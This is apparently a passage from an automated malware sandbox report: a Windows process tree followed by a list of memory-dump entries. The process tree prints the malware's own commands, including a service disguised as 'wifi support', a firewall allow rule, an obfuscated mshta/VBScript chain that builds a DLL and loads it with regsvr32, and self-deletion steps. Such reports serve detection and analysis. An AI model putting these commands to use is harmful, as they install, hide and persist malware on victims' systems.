                                                                                                                                                                                                                                                    PID:2712
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\FE4D.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\FE4D.exe
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:2792
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\FE4D.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\FE4D.exe"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                        PID:2984
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2984 -s 1224
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                          PID:5988
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2792 -s 648
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                        PID:3720
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:2304
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\DE.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\DE.exe
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:5436
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bugxhxtq\
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:5892
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\eefntoqc.exe" C:\Windows\SysWOW64\bugxhxtq\
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:4592
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\sc.exe" create bugxhxtq binPath= "C:\Windows\SysWOW64\bugxhxtq\eefntoqc.exe /d\"C:\Users\Admin\AppData\Local\Temp\DE.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:4976
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\sc.exe" description bugxhxtq "wifi internet conection"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:4868
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\sc.exe" start bugxhxtq
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:4140
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:5232
                                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                      C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                      PID:5444
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\6CB.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\6CB.exe
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                      PID:2108
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im 6CB.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\6CB.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:5868
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                            taskkill /im 6CB.exe /f
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                                            PID:2020
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                            timeout /t 6
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                            PID:3108
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                          PID:4044
                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                          C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                          PID:5308
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\C3A.exe
                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\C3A.exe
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:864
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\mshta.exe" VbsCriPt: cLose ( cReatEOBjecT ( "WsCRipT.SHeLl"). Run("CMd.EXe /C Type ""C:\Users\Admin\AppData\Local\Temp\C3A.exe"" > ..\8EqO3YYWQYIWQCG.ExE&& sTaRt ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7 & If """" == """" for %D in ( ""C:\Users\Admin\AppData\Local\Temp\C3A.exe"" ) do taskkill -Im ""%~NXD"" /F " ,0 , TrUE ) )
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:6132
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C Type "C:\Users\Admin\AppData\Local\Temp\C3A.exe" > ..\8EqO3YYWQYIWQCG.ExE&& sTaRt ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7 & If "" == "" for %D in ( "C:\Users\Admin\AppData\Local\Temp\C3A.exe" ) do taskkill -Im "%~NXD" /F
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:5508
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE
                                                                                                                                                                                                                                                                                      ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:1192
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\System32\mshta.exe" VbsCriPt: cLose ( cReatEOBjecT ( "WsCRipT.SHeLl"). Run("CMd.EXe /C Type ""C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE"" > ..\8EqO3YYWQYIWQCG.ExE&& sTaRt ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7 & If ""-p0Bd6WU~zT21V9yySfmmv7 "" == """" for %D in ( ""C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE"" ) do taskkill -Im ""%~NXD"" /F " ,0 , TrUE ) )
                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                            PID:6072
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C Type "C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE" > ..\8EqO3YYWQYIWQCG.ExE&& sTaRt ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7 & If "-p0Bd6WU~zT21V9yySfmmv7 " == "" for %D in ( "C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE" ) do taskkill -Im "%~NXD" /F
                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                PID:3460
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\System32\mshta.exe" vbSCrIPT: CLOSE( creAteOBJecT ( "WsCRIpT.ShElL"). RUn ( "C:\Windows\system32\cmd.exe /Q /c eCHo C:\Users\Admin\AppData\Local\TempcSpD> 10Ou8q.9 & ecHO | sET /p = ""MZ"" > 2AQ5.X& COpY /y /b 2Aq5.X + WwZoqDR.Aq_ + 3cQ7SE1.PD + 8jTXBDPR.VQ0 + BhxNJ8.m5W + 10OU8q.9 ..\fLNDPPCP.UUv & DEl /Q *& StArT regsvr32.exe ..\fLNDPPcp.UUv /s " , 0 , TRuE))
                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                PID:5000
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /Q /c eCHo C:\Users\Admin\AppData\Local\TempcSpD> 10Ou8q.9 & ecHO | sET /p = "MZ" >2AQ5.X& COpY /y /b 2Aq5.X + WwZoqDR.Aq_ + 3cQ7SE1.PD + 8jTXBDPR.VQ0 + BhxNJ8.m5W + 10OU8q.9 ..\fLNDPPCP.UUv & DEl /Q *& StArT regsvr32.exe ..\fLNDPPcp.UUv /s
                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                    PID:4116
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" ecHO "
                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                        PID:4604
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" sET /p = "MZ" 1>2AQ5.X"
                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                          PID:5084
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                                                                                                                                                          regsvr32.exe ..\fLNDPPcp.UUv /s
                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateThreadExHideFromDebugger
                                                                                                                                                                                                                                                                                                          PID:860
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                    taskkill -Im "C3A.exe" /F
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                    PID:3240
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\E2F.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\E2F.exe
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:3984
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:3576
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\bugxhxtq\eefntoqc.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\bugxhxtq\eefntoqc.exe /d"C:\Users\Admin\AppData\Local\Temp\DE.exe"
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                  PID:4968
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    svchost.exe
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                    PID:4276
                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                  PID:6068
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                  PID:4288
                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                  PID:7156
                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                  PID:2312
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                                                                                                  "LogonUI.exe" /flags:0x0 /state0:0xa3ae7855 /state1:0x41c64e6d
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                  PID:6812
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                    PID:6948
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:6848
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:6760
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:764
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:2876
                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                              PID:2000
                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                PID:4472
                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                  PID:5056
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Drops file in Drivers directory
                                                                                                                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                  PID:6300
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\C1E8.exe
                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\C1E8.exe
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                  PID:4988
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\C1E8.exe
                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\C1E8.exe
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:6792

                                                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                  • memory/208-202-0x00000000075B0000-0x00000000075B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/208-199-0x0000000004E40000-0x0000000004E41000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/208-181-0x00000000005F0000-0x00000000005F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/208-198-0x0000000005050000-0x000000000507C000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    176KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/352-225-0x000001F963240000-0x000001F9632B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/352-314-0x000001F963330000-0x000001F9633A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/476-310-0x0000019F90270000-0x0000019F902E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/476-309-0x0000019F8FFC0000-0x0000019F9000C000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    304KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/476-212-0x0000019F90030000-0x0000019F900A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/476-207-0x0000019F8FF70000-0x0000019F8FFBC000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    304KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1064-284-0x000001B747B10000-0x000001B747B81000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1064-323-0x000001B7481B0000-0x000001B748221000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1148-280-0x000001EB44680000-0x000001EB446F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1148-321-0x000001EB44F00000-0x000001EB44F71000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1288-329-0x0000027BB0790000-0x0000027BB0801000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1288-290-0x0000027BB06A0000-0x0000027BB0711000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1392-175-0x0000000000190000-0x0000000000191000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1396-294-0x000001F47A300000-0x000001F47A371000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1456-325-0x00000297D0400000-0x00000297D0471000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1456-286-0x00000297D0190000-0x00000297D0201000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1468-292-0x000000001AEF0000-0x000000001AEF2000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1864-327-0x000002B3AA080000-0x000002B3AA0F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1864-288-0x000002B3A9F80000-0x000002B3A9FF1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1968-265-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    120KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1968-293-0x0000000005210000-0x0000000005816000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    6.0MB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/1968-279-0x0000000005820000-0x0000000005821000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/2272-316-0x000001A2C5970000-0x000001A2C59E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/2272-256-0x000001A2C5780000-0x000001A2C57F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/2320-318-0x00000162511B0000-0x0000016251221000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/2320-273-0x0000016250BD0000-0x0000016250C41000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/2428-257-0x0000029E4CC30000-0x0000029E4CCA1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/2436-264-0x0000026CBD570000-0x0000026CBD5E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/2656-226-0x000001C2C1750000-0x000001C2C17C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/2656-312-0x000001C2C1D40000-0x000001C2C1DB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    452KB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/2676-135-0x0000000000400000-0x000000000051E000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    1.1MB

                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                  • memory/2676-132-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                    572KB

                                                                                                                                                                                                                                                                                                                    Download

